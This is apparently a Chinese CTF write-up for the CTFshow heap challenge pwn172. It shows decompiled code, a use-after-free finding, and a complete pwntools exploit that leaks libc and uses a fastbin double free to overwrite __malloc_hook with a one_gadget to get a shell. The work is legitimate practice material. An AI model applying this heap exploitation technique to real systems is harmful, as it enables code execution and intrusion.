CTFshow-pwn172

[!NOTE]

double free or ?

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

checksec 检查保护机制,全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn172
[*] '/home/niuyingying/ctf/pwn/pwn172'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

程序主要流程如下

int menu()
{
  puts("  ======Dave's garden======");
  puts("  1 . Plant a plant");
  puts("  2 . Visit the garden");
  puts("  3 . Shovel off a plant");
  puts("  4 . Clean the garden");
  puts("  5 . Leave the garden");
  puts(&byte_182D);
  return printf("Your choice : ");
}
int Plant_a_plant()
{
  unsigned int size; // [rsp+0h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+4h] [rbp-1Ch]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  s = 0;
  buf = 0;
  size = 0;
  if ( (unsigned int)dword_20202C > 0x63 )
    return puts("The garden is overflow");
  s = malloc(0x28u);
  memset(s, 0, 0x28u);
  printf("Length of the name :");
  if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
    exit(-1);
  buf = malloc(size);
  if ( !buf )
  {
    puts("Alloca error !!");
    exit(-1);
  }
  printf("The name of plant :");
  read(0, buf, size);
  *((_QWORD *)s + 1) = buf;
  printf("The class of the plant :");
  __isoc99_scanf("%23s", (char *)s + 16);
  *(_DWORD *)s = 1;
  for ( size_4 = 0; size_4 <= 0x63; ++size_4 )
  {
    if ( !qword_202040[size_4] )
    {
      qword_202040[size_4] = s;
      break;
    }
  }
  ++dword_20202C;
  return puts("Successful !");
}
int Visit_the_garden()
{
  __int64 v0; // rax
  unsigned int i; // [rsp+Ch] [rbp-4h]

  LODWORD(v0) = dword_20202C;
  if ( dword_20202C )
  {
    for ( i = 0; i <= 0x63; ++i )
    {
      v0 = qword_202040[i];
      if ( v0 )
      {
        LODWORD(v0) = *(_DWORD *)qword_202040[i];
        if ( (_DWORD)v0 )
        {
          printf("Name of the plant[%u] :%s\n", i, *(const char **)(qword_202040[i] + 8LL));
          LODWORD(v0) = printf("Color of the plant[%u] :%s\n", i, (const char *)(qword_202040[i] + 16LL));
        }
      }
    }
  }
  else
  {
    LODWORD(v0) = puts("No plant in the garden !");
  }
  return v0;
}
int Shovel_off_a_plant()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !dword_20202C )
    return puts("No plant in the garden");
  printf("Which plant do you want to Shovel from the garden:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0x63 && qword_202040[v1] )
  {
    *(_DWORD *)qword_202040[v1] = 0;
    free(*(void **)(qword_202040[v1] + 8LL));
    return puts("Successful");
  }
  else
  {
    puts("Invalid choice");
    return 0;
  }
}
int Clean_the_garden()
{
  unsigned int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 0x63; ++i )
  {
    if ( qword_202040[i] && !*(_DWORD *)qword_202040[i] )
    {
      free((void *)qword_202040[i]);
      qword_202040[i] = 0;
      --dword_20202C;
    }
  }
  return puts("Done!");
}

发现存在 UAF 漏洞,攻击脚本如下:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn172')
libc = ELF('./libc-2.23.so')

# io = process('./pwn172')
io = remote("pwn.challenge.ctf.show",28241)

# io = gdb.debug('./pwn170', gdbscript='set pagination off\nbreakrva 0x9A6\nc')

# io = gdb.debug(
#     './pwn172',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xD82
# breakrva 0x1071
# breakrva 0xE60
# breakrva 0xF9A
# c
# '''
# )

def Add(size,text):
    io.recvuntil(b"Your choice : ")
    io.sendline(b"1")
    io.recvuntil(b"Length of the name :")
    io.sendline(str(size).encode())
    io.recvuntil(b"The name of plant :")
    io.send(text)
    io.recvuntil(b"The class of the plant :")
    io.sendline(b"cccc")

def Show():
    io.recvuntil(b"Your choice : ")
    io.sendline(b"2")

def Delete(i):
    io.recvuntil(b"Your choice : ")
    io.sendline(b"3")
    io.recvuntil(b"Which plant do you want to Shovel from the garden:")
    io.sendline(str(i).encode())

Add(0x90,b"aaaa")   # 0
Add(0x10,b"aaaa")   # 1

Delete(0)
Add(0x60,b"aaaaaaaa")   # 2
Show()

io.recvuntil(b"Name of the plant[2] :aaaaaaaa")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

Add(0x60,b"bbbb")   # 3
Add(0x60,b"bbbb")   # 4
Add(0x20,b"bbbb")   # 5

Delete(3)
Delete(4)
Delete(3)

Delete(5)
Add(0x60,p64(malloc_hook - 0x23))   # 6
Delete(5)
Add(0x60,b"bbbb")   # 7
Delete(5)
Add(0x60,b"bbbb")   # 8
Delete(5)
Add(0x60,b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10))

io.recvuntil(b"Your choice : ")
io.sendline(b"1")

io.interactive()

这里比较巧妙的是泄露 libc 的构思,由于申请一个 chunk 会 malloc(0x28u) ,因此释放一个 0x100 的 chunk 后再申请一个 0x70 的 chunk ,事实上会先 malloc 一个 0x30 的 chunk ,此时接下来申请的 0x70 的 chunk 会先进入 unsorted bin ,那么覆盖前八个字节后,即可泄露 main_arena

posted @ 2026-08-10 16:26  AurY1n  阅读(1)  评论(0)    收藏  举报